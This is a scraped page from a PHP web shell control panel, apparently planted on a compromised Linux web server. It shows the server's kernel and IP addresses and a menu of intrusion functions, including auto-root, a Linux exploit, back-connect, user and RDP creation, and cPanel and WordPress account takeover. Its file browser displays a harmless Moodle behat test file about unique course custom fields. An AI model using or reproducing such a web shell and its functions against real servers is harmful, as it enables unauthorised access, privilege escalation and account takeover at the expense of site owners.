Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.58.218
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
customfield /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
edit_categories.feature
5.52
KB
-rw-r--r--
edit_fields_settings.feature
5.74
KB
-rw-r--r--
required_field.feature
2.38
KB
-rw-r--r--
unique_field.feature
3.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unique_field.feature
@core @core_course @core_customfield Feature: Uniqueness The course custom fields can be mandatory or not In order to make users required to fill a custom field As a manager I can change the uniqueness of the fields Background: Given the following "custom field categories" exist: | name | component | area | itemid | | Category for test | core_course | course | 0 | Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | | Course 2 | C2 | topics | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | teacher1 | C2 | editingteacher | When I log in as "admin" And I navigate to "Courses > Course custom fields" in site administration And I click on "Add a new custom field" "link" And I click on "Short text" "link" And I set the following fields to these values: | Name | Test field | | Short name | testfield | | Unique data | Yes | And I press "Save changes" And I log out Scenario: A course custom field with unique data must not allow same data in same field in different courses When I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | testcontent | And I press "Save and display" And I am on "Course 2" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | testcontent | And I press "Save and display" Then I should see "This value is already used" Scenario: A course custom field with unique data must not compare with itself When I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | testcontent | And I press "Save and display" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | testcontent | And I press "Save and display" Then I should not see "This value is already used" And I should see "Topic 1" Scenario: A course custom field with unique data must allow empty data When I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | | And I press "Save and display" And I am on "Course 2" course homepage And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Test field | | And I press "Save and display" Then I should not see "This value is already used"
Close